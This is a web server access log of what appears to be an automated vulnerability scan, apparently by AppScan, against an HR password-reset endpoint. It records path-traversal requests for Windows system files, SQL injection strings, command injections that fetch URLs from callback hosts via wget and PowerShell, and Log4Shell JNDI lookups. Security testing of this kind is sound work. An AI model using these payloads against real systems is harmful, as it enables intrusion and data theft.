[05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%23%26%3C%28%2C%2B%22%3E%3B&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini HTTP/1.1" 200 6717 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini HTTP/1.1" 200 6717 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../winnt/win.ini%00.html HTTP/1.1" 200 6728 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../winnt/win.ini%00.html HTTP/1.1" 200 6728 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\boot.ini HTTP/1.1" 200 6683 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\boot.ini HTTP/1.1" 200 6683 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=Apage_errorB&msgtxt=&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:58 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+%40%40version%2C1%2C1%2C1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+%40%40version%2C1%2C1%2C1--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+%40%40version%2C1%2C1%2C1--&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:51:59 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:59 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:51:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D177 HTTP/1.1" 200 6738 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D177 HTTP/1.1" 200 6738 100.64.0.1 - - [05/Dec/2025:21:51:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D178 HTTP/1.1" 200 6765 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:51:59 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%7Cpowershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D178 HTTP/1.1" 200 6765 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ping+-c+1+v3-ping-179-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6749 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ping+-c+1+v3-ping-179-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6749 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwinnt/win.ini HTTP/1.1" 200 6722 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwinnt/win.ini HTTP/1.1" 200 6722 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EAB%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EAB%3C%2Fstrong%3E&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../windows/win.ini%00.html HTTP/1.1" 200 6730 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/../../../../../../../../../../../../windows/win.ini%00.html HTTP/1.1" 200 6730 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=HCL4ppsc4nbuggyRandomValue HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:00 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=HCL4ppsc4nbuggyRandomValue HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=${jndi:ldap://v3-ping-180-2b22cd9d-17ba-4b85-a654-5597716a5c26.adns.appsechcl.com/foo} HTTP/1.1" 200 6758 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=${jndi:ldap://v3-ping-180-2b22cd9d-17ba-4b85-a654-5597716a5c26.adns.appsechcl.com/foo} HTTP/1.1" 200 6758 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\winnt\\win.ini HTTP/1.1" 200 6688 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\winnt\\win.ini HTTP/1.1" 200 6688 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%60wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D181%60 HTTP/1.1" 200 6734 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%60wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D181%60 HTTP/1.1" 200 6734 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D182 HTTP/1.1" 200 6769 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D182 HTTP/1.1" 200 6769 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%26+ping+-c+1+v3-ping-183-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6759 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:01 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%26+ping+-c+1+v3-ping-183-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6759 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows/win.ini HTTP/1.1" 200 6724 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cwindows/win.ini HTTP/1.1" 200 6724 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=%E5%AF%86%E7%A0%81%E9%87%8D%E7%BD%AE%E5%A4%B1%E8%B4%A5%2C%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E4%B8%8D%E6%AD%A3%E7%A1%AE.%E8%BE%93%E5%85%A5%E7%9A%84%E7%94%A8%E6%88%B7%E5%90%8D%E7%A7%B0%E6%98%AF+%3A%3Cstrong%3EAB%3C%2Fstrong%3E&target=iframe" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=file:///../../../../../../../../../../../../windows/win.ini%00.html HTTP/1.1" 200 6737 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=file:///../../../../../../../../../../../../windows/win.ini%00.html HTTP/1.1" 200 6737 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 "http://hcp.maglayers.com.cn:8088/ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=HCL4ppsc4nbuggyRandomValue" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/lostpassword.php?scriptname=page_error&msgtxt=&target=iframe HTTP/1.1" 302 125 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+*+from+master..sysmessages--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:02 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+*+from+master..sysmessages--&action=findpasswd&lang=ZHS HTTP/1.1" 302 - 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=findpasswd%27%3B+select+*+from+master..sysmessages--&action=findpasswd&lang=ZHS" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess HTTP/1.1" 301 249 100.64.0.1 - - [05/Dec/2025:21:52:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%24%7Bjndi%3Aldap%3A%2F%2Fv3-ping-184-2b22cd9d-17ba-4b85-a654-5597716a5c26.adns.appsechcl.com%2Ffoo%7D HTTP/1.1" 200 6758 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=%24%7Bjndi%3Aldap%3A%2F%2Fv3-ping-184-2b22cd9d-17ba-4b85-a654-5597716a5c26.adns.appsechcl.com%2Ffoo%7D HTTP/1.1" 200 6758 100.64.0.1 - - [05/Dec/2025:21:52:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\windows\\win.ini HTTP/1.1" 200 6690 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=C:\\windows\\win.ini HTTP/1.1" 200 6690 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8806 100.64.0.1 - - [05/Dec/2025:21:52:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%26%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D185 HTTP/1.1" 200 6743 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%26%26+wget+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D185 HTTP/1.1" 200 6743 100.64.0.1 - - [05/Dec/2025:21:52:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%26%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D186 HTTP/1.1" 200 6774 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:03 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS%26%26powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D186 HTTP/1.1" 200 6774 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%26%26+ping+-c+1+v3-ping-187-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6764 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS+%26%26+ping+-c+1+v3-ping-187-942f5f11-68c6-4c8c-bd5e-39e4f70cb5fc.adns.appsechcl.com HTTP/1.1" 200 6764 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini HTTP/1.1" 200 6732 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c..%c1%1c../boot.ini HTTP/1.1" 200 6732 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini%00.html HTTP/1.1" 200 6728 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini%00.html HTTP/1.1" 200 6728 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:04 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/ HTTP/1.1" 200 9008 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=ZHS HTTP/1.1" 200 6836 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=file://C:/windows/win.ini HTTP/1.1" 200 6697 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=file://C:/windows/win.ini HTTP/1.1" 200 6697 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET /ehr/ess/redirect.php?scriptname=findpasswd&action=findpasswd&lang=powershell+-command+Invoke-WebRequest+http%3A%2F%2F192.168.0.100%3A8371%2FAppScanMsg.html%3FvarId%3D189 HTTP/1.1" 200 6761 "http://hcp.maglayers.com.cn:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/128.0.0.0 Safari/537.36" 100.64.0.1 - - [05/Dec/2025:21:52:05 +0800] "GET 